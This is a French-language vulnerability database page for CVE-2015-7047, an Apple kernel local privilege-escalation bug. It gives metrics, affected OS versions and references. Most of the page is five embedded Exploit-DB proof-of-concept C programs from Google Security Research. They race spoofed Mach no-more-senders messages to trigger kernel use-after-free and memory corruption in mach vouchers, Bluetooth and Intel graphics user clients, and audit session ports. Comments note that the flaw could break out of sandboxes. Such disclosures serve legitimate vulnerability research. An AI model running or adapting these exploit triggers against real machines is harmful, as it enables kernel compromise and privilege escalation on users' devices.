CVE-2015-7047 : Détail

CVE-2015-7047

A03-Injection
0.04%V3
Local
2015-12-11
10h00 +00:00
2017-09-12
07h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The kernel in Apple iOS before 9.2, OS X before 10.11.2, tvOS before 9.1, and watchOS before 2.1 allows local users to gain privileges via a crafted mach message that is misparsed.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 39377

Date de publication : 2016-01-27 23h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

/* Source: https://code.google.com/p/google-security-research/issues/detail?id=553 The mach voucher subsystem fails to correctly handle spoofed no-more-senders messages. ipc_kobject_server will be called for mach messages sent to kernel-owned mach ports. If the msgh_id of the message can't be found in the mig_buckets hash table then this function calls ipc_kobject_notify. Note that this is the same code path which would be taken for a real no-more-senders notification message but there's nothing stopping user-space from also just sending one. ipc_kobject_notify calls the correct notification method for the type of the KOBJECT associated with the port: boolean_t ipc_kobject_notify( mach_msg_header_t *request_header, mach_msg_header_t *reply_header) { ipc_port_t port = (ipc_port_t) request_header->msgh_remote_port; ((mig_reply_error_t *) reply_header)->RetCode = MIG_NO_REPLY; switch (request_header->msgh_id) { case MACH_NOTIFY_NO_SENDERS: if (ip_kotype(port) == IKOT_VOUCHER) { ipc_voucher_notify(request_header); <-- called unconditionally irregardless of the value of ip_srights return TRUE; } At this point there are also no locks held. void ipc_voucher_notify(mach_msg_header_t *msg) { mach_no_senders_notification_t *notification = (void *)msg; ipc_port_t port = notification->not_header.msgh_remote_port; ipc_voucher_t iv; assert(ip_active(port)); assert(IKOT_VOUCHER == ip_kotype(port)); iv = (ipc_voucher_t)port->ip_kobject; ipc_voucher_release(iv); } ipc_voucher_notify calls ipc_voucher_release, again not taking any locks, which calls through to iv_release: void ipc_voucher_release(ipc_voucher_t voucher) { if (IPC_VOUCHER_NULL != voucher) iv_release(voucher); } static inline void iv_release(ipc_voucher_t iv) { iv_refs_t refs; assert(0 < iv->iv_refs); refs = hw_atomic_sub(&iv->iv_refs, 1); if (0 == refs) iv_dealloc(iv, TRUE); } iv_release decrements the reference count field at +0x8 of the voucher object, and if it's zero frees it via iv_dealloc. We can send two spoofed no-more-senders notifications to a voucher mach port which will race each other to iv_release, one will free iv (via iv_dealloc) then the second will execute hw_atomic_sub and decrement the reference count field of a free'd object. With sufficient effort you could reallocate something else over the free'd ipc_voucher_t; you could then decrement the field at +0x8 (and if that resulted in that field being zero you could free it.) You should enable kernel zone poisoning with the "-zp" boot arg to repro this. You should see a panic message like this: panic(cpu 2 caller 0xffffff800712922b): "a freed zone element has been modified in zone ipc vouchers: expected 0xdeadbeefdeadbeef but found 0xdeadbeefdeadbeee, bits changed 0x1, at offset 8 of 80 in element This is consistent with the hw_atomic_sub call decrementing the refcount of a free'd object. Tested on OS X ElCapitan 10.11 (15A284) Presumably this is there on iOS too; I will update this bug if I can repro it there. I don't think there are any MAC hooks in the voucher subsystem so this should break you out of any sandboxes into the kernel. Note that you might have to leave the repro running for a little while to win the race. */ // ianbeer /* OS X and iOS unsandboxable kernel use-after-free in mach vouchers The mach voucher subsystem fails to correctly handle spoofed no-more-senders messages. ipc_kobject_server will be called for mach messages sent to kernel-owned mach ports. If the msgh_id of the message can't be found in the mig_buckets hash table then this function calls ipc_kobject_notify. Note that this is the same code path which would be taken for a real no-more-senders notification message but there's nothing stopping user-space from also just sending one. ipc_kobject_notify calls the correct notification method for the type of the KOBJECT associated with the port: boolean_t ipc_kobject_notify( mach_msg_header_t *request_header, mach_msg_header_t *reply_header) { ipc_port_t port = (ipc_port_t) request_header->msgh_remote_port; ((mig_reply_error_t *) reply_header)->RetCode = MIG_NO_REPLY; switch (request_header->msgh_id) { case MACH_NOTIFY_NO_SENDERS: if (ip_kotype(port) == IKOT_VOUCHER) { ipc_voucher_notify(request_header); <-- called unconditionally irregardless of the value of ip_srights return TRUE; } At this point there are also no locks held. void ipc_voucher_notify(mach_msg_header_t *msg) { mach_no_senders_notification_t *notification = (void *)msg; ipc_port_t port = notification->not_header.msgh_remote_port; ipc_voucher_t iv; assert(ip_active(port)); assert(IKOT_VOUCHER == ip_kotype(port)); iv = (ipc_voucher_t)port->ip_kobject; ipc_voucher_release(iv); } ipc_voucher_notify calls ipc_voucher_release, again not taking any locks, which calls through to iv_release: void ipc_voucher_release(ipc_voucher_t voucher) { if (IPC_VOUCHER_NULL != voucher) iv_release(voucher); } static inline void iv_release(ipc_voucher_t iv) { iv_refs_t refs; assert(0 < iv->iv_refs); refs = hw_atomic_sub(&iv->iv_refs, 1); if (0 == refs) iv_dealloc(iv, TRUE); } iv_release decrements the reference count field at +0x8 of the voucher object, and if it's zero frees it via iv_dealloc. We can send two spoofed no-more-senders notifications to a voucher mach port which will race each other to iv_release, one will free iv (via iv_dealloc) then the second will execute hw_atomic_sub and decrement the reference count field of a free'd object. With sufficient effort you could reallocate something else over the free'd ipc_voucher_t; you could then decrement the field at +0x8 (and if that resulted in that field being zero you could free it.) You should enable kernel zone poisoning with the "-zp" boot arg to repro this. You should see a panic message like this: panic(cpu 2 caller 0xffffff800712922b): "a freed zone element has been modified in zone ipc vouchers: expected 0xdeadbeefdeadbeef but found 0xdeadbeefdeadbeee, bits changed 0x1, at offset 8 of 80 in element This is consistent with the hw_atomic_sub call decrementing the refcount of a free'd object. Tested on OS X ElCapitan 10.11 (15A284) Presumably this is there on iOS too; I will update this bug if I can repro it there. I don't think there are any MAC hooks in the voucher subsystem so this should break you out of any sandboxes into the kernel. Note that you might have to leave the repro running for a little while to win the race. */ #include <stdio.h> #include <stdlib.h> #include <mach/mach.h> #include <mach/thread_act.h> #include <pthread.h> #include <unistd.h> int start = 0; void go(void* arg){ mach_port_t v = 0xb03; // <-- works for me; ymmv mach_msg_header_t msg = {0}; msg.msgh_size = sizeof(mach_msg_header_t); msg.msgh_local_port = v; msg.msgh_remote_port = v; msg.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND); msg.msgh_id = 0106; while(start == 0){;} usleep(1); mach_msg(&msg, MACH_SEND_MSG, msg.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); } int main() { //char port_num[20] = {0}; //gets(port_num); //mach_port_t v = (mach_port_t)atoi(port_num); //printf("%x\n", v); pthread_t t; int arg = 0; pthread_create(&t, NULL, (void*) go, (void*) &arg); mach_port_t v = 0xb03; mach_msg_header_t msg = {0}; msg.msgh_size = sizeof(mach_msg_header_t); msg.msgh_local_port = v; msg.msgh_remote_port = v; msg.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND); msg.msgh_id = 0106; usleep(100000); start = 1; mach_msg(&msg, MACH_SEND_MSG, msg.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); pthread_join(t, NULL); return 0; }
Exploit Database EDB-ID : 39371

Date de publication : 2016-01-27 23h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

/* Source: https://code.google.com/p/google-security-research/issues/detail?id=572 The OS* data types (OSArray etc) are explicity not thread safe; they rely on their callers to implement the required locking to serialize all accesses and manipulations of them. By sending two spoofed no-more-senders notifications on two threads at the same time we can cause parallel calls to OSArray::removeObject with no locks which is unsafe. In this particular case you might see two threads both passing the index >= count check in OSArray::removeObject (when count = 1 and index = 0) but then both decrementing count leading to an OSArray with a count of 0xffffffff leading to memory corruption when trying to shift the array contents. repro: while true; do ./iospoof_bluepacketlog; done Tested on OS X 10.11 ElCapitan (15A284) on MacBookAir 5,2 */ // ianbeer // clang -o iospoof_bluepacketlog iospoof_bluepacketlog.c -framework IOKit // boot-args debug=0x144 -v pmuflags=1 kdp_match_name=en3 gzalloc_min=100 gzalloc_max=300 -no-zp /* Spoofed no-more-senders notifications with IOBluetoothHCIPacketLogUserClient leads to unsafe parallel OSArray manipulation The OS* data types (OSArray etc) are explicity not thread safe; they rely on their callers to implement the required locking to serialize all accesses and manipulations of them. By sending two spoofed no-more-senders notifications on two threads at the same time we can cause parallel calls to OSArray::removeObject with no locks which is unsafe. In this particular case you might see two threads both passing the index >= count check in OSArray::removeObject (when count = 1 and index = 0) but then both decrementing count leading to an OSArray with a count of 0xffffffff leading to memory corruption when trying to shift the array contents. repro: while true; do ./iospoof_bluepacketlog; done */ #include <stdio.h> #include <stdlib.h> #include <mach/mach.h> #include <mach/thread_act.h> #include <pthread.h> #include <unistd.h> #include <IOKit/IOKitLib.h> io_connect_t conn = MACH_PORT_NULL; int start = 0; struct spoofed_notification { mach_msg_header_t header; NDR_record_t NDR; mach_msg_type_number_t no_senders_count; }; struct spoofed_notification msg = {0}; void send_message() { mach_msg(&msg, MACH_SEND_MSG, msg.header.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); } void go(void* arg){ while(start == 0){;} usleep(1); send_message(); } int main(int argc, char** argv) { char* service_name = "IOBluetoothHCIController"; int client_type = 1; io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name)); if (service == MACH_PORT_NULL) { printf("can't find service\n"); return 0; } IOServiceOpen(service, mach_task_self(), client_type, &conn); if (conn == MACH_PORT_NULL) { printf("can't connect to service\n"); return 0; } pthread_t t; int arg = 0; pthread_create(&t, NULL, (void*) go, (void*) &arg); // build the message: msg.header.msgh_size = sizeof(struct spoofed_notification); msg.header.msgh_local_port = conn; msg.header.msgh_remote_port = conn; msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND); msg.header.msgh_id = 0106; msg.no_senders_count = 1000; usleep(100000); start = 1; send_message(); pthread_join(t, NULL); return 0; }
Exploit Database EDB-ID : 39375

Date de publication : 2016-01-27 23h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

/* Source: https://code.google.com/p/google-security-research/issues/detail?id=565 Kernel UaF with IOAccelDisplayPipeUserClient2 with spoofed no more senders notifications repro: while true; do ./iospoof_ig_4; done Likely to crash in various ways; have observed NULL derefs and NX traps. Tested on ElCapitan 10.11 (15a284) on MacBookAir 5,2 */ // ianbeer // clang -o iospoof_ig_4 iospoof_ig_4.c -framework IOKit /* Kernel UaF with IOAccelDisplayPipeUserClient2 with spoofed no more senders notifications repro: while true; do ./iospoof_ig_4; done */ #include <stdio.h> #include <stdlib.h> #include <mach/mach.h> #include <mach/thread_act.h> #include <pthread.h> #include <unistd.h> #include <IOKit/IOKitLib.h> io_connect_t conn = MACH_PORT_NULL; int start = 0; struct spoofed_notification { mach_msg_header_t header; NDR_record_t NDR; mach_msg_type_number_t no_senders_count; }; struct spoofed_notification msg = {0}; void send_message() { mach_msg(&msg, MACH_SEND_MSG, msg.header.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); } void go(void* arg){ while(start == 0){;} usleep(1); send_message(); } int main(int argc, char** argv) { char* service_name = "IntelAccelerator"; int client_type = 4; io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name)); if (service == MACH_PORT_NULL) { printf("can't find service\n"); return 0; } IOServiceOpen(service, mach_task_self(), client_type, &conn); if (conn == MACH_PORT_NULL) { printf("can't connect to service\n"); return 0; } pthread_t t; int arg = 0; pthread_create(&t, NULL, (void*) go, (void*) &arg); // build the message: msg.header.msgh_size = sizeof(struct spoofed_notification); msg.header.msgh_local_port = conn; msg.header.msgh_remote_port = conn; msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND); msg.header.msgh_id = 0106; msg.no_senders_count = 1000; usleep(100000); start = 1; send_message(); pthread_join(t, NULL); return 0; }
Exploit Database EDB-ID : 39374

Date de publication : 2016-01-27 23h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

/* Source: https://code.google.com/p/google-security-research/issues/detail?id=566 Kernel UaF with IOAccelMemoryInfoUserClient with spoofed no more senders notifications repro: while true; do ./iospoof_ig_7; done Tested on ElCapitan 10.11 (15a284) on MacBookAir 5,2 */ // ianbeer // clang -o iospoof_ig_7 iospoof_ig_7.c -framework IOKit /* Kernel UaF with IOAccelMemoryInfoUserClient with spoofed no more senders notifications repro: while true; do ./iospoof_ig_7; done */ #include <stdio.h> #include <stdlib.h> #include <mach/mach.h> #include <mach/thread_act.h> #include <pthread.h> #include <unistd.h> #include <IOKit/IOKitLib.h> io_connect_t conn = MACH_PORT_NULL; int start = 0; struct spoofed_notification { mach_msg_header_t header; NDR_record_t NDR; mach_msg_type_number_t no_senders_count; }; struct spoofed_notification msg = {0}; void send_message() { mach_msg(&msg, MACH_SEND_MSG, msg.header.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); } void go(void* arg){ while(start == 0){;} usleep(1); send_message(); } int main(int argc, char** argv) { char* service_name = "IntelAccelerator"; int client_type = 7; io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name)); if (service == MACH_PORT_NULL) { printf("can't find service\n"); return 0; } IOServiceOpen(service, mach_task_self(), client_type, &conn); if (conn == MACH_PORT_NULL) { printf("can't connect to service\n"); return 0; } pthread_t t; int arg = 0; pthread_create(&t, NULL, (void*) go, (void*) &arg); // build the message: msg.header.msgh_size = sizeof(struct spoofed_notification); msg.header.msgh_local_port = conn; msg.header.msgh_remote_port = conn; msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND); msg.header.msgh_id = 0106; msg.no_senders_count = 1000; usleep(100000); start = 1; send_message(); pthread_join(t, NULL); return 0; }
Exploit Database EDB-ID : 39373

Date de publication : 2016-01-27 23h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

/* Source: https://code.google.com/p/google-security-research/issues/detail?id=567 Kernel UaF due to audit session port failing to correctly account for spoofed no-more-senders notifications Tested on ElCapitan 10.11 (15a284) on MacBookAir 5,2 */ // ianbeer /* Kernel UaF due to audit session port failing to correctly account for spoofed no-more-senders notifications */ #include <stdio.h> #include <stdlib.h> #include <mach/mach.h> #include <mach/thread_act.h> #include <pthread.h> #include <unistd.h> #include <IOKit/IOKitLib.h> #include <bsm/audit.h> io_connect_t conn = MACH_PORT_NULL; int start = 0; struct spoofed_notification { mach_msg_header_t header; NDR_record_t NDR; mach_msg_type_number_t no_senders_count; }; struct spoofed_notification msg = {0}; void send_message() { mach_msg(&msg, MACH_SEND_MSG, msg.header.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); } void go(void* arg){ while(start == 0){;} usleep(1); send_message(); } int main(int argc, char** argv) { mach_port_t conn = audit_session_self(); if (conn == MACH_PORT_NULL) { printf("can't get audit session port\n"); return 0; } pthread_t t; int arg = 0; pthread_create(&t, NULL, (void*) go, (void*) &arg); // build the message: msg.header.msgh_size = sizeof(struct spoofed_notification); msg.header.msgh_local_port = conn; msg.header.msgh_remote_port = conn; msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND); msg.header.msgh_id = 0106; msg.no_senders_count = 1000; usleep(100000); start = 1; send_message(); pthread_join(t, NULL); return 0; }

Products Mentioned

Configuraton 0

Apple>>Watchos >> Version To (including) 2.0

Configuraton 0

Apple>>Tvos >> Version To (including) 9.0

Configuraton 0

Apple>>Iphone_os >> Version To (including) 9.1

Configuraton 0

Apple>>Mac_os_x >> Version To (including) 10.11.1

Références

https://support.apple.com/HT205635
Tags : x_refsource_CONFIRM
https://support.apple.com/HT205637
Tags : x_refsource_CONFIRM
http://www.securitytracker.com/id/1034344
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/39371/
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.exploit-db.com/exploits/39373/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/78719
Tags : vdb-entry, x_refsource_BID
https://support.apple.com/HT205641
Tags : x_refsource_CONFIRM
https://support.apple.com/HT205640
Tags : x_refsource_CONFIRM
https://www.exploit-db.com/exploits/39374/
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.exploit-db.com/exploits/39375/
Tags : exploit, x_refsource_EXPLOIT-DB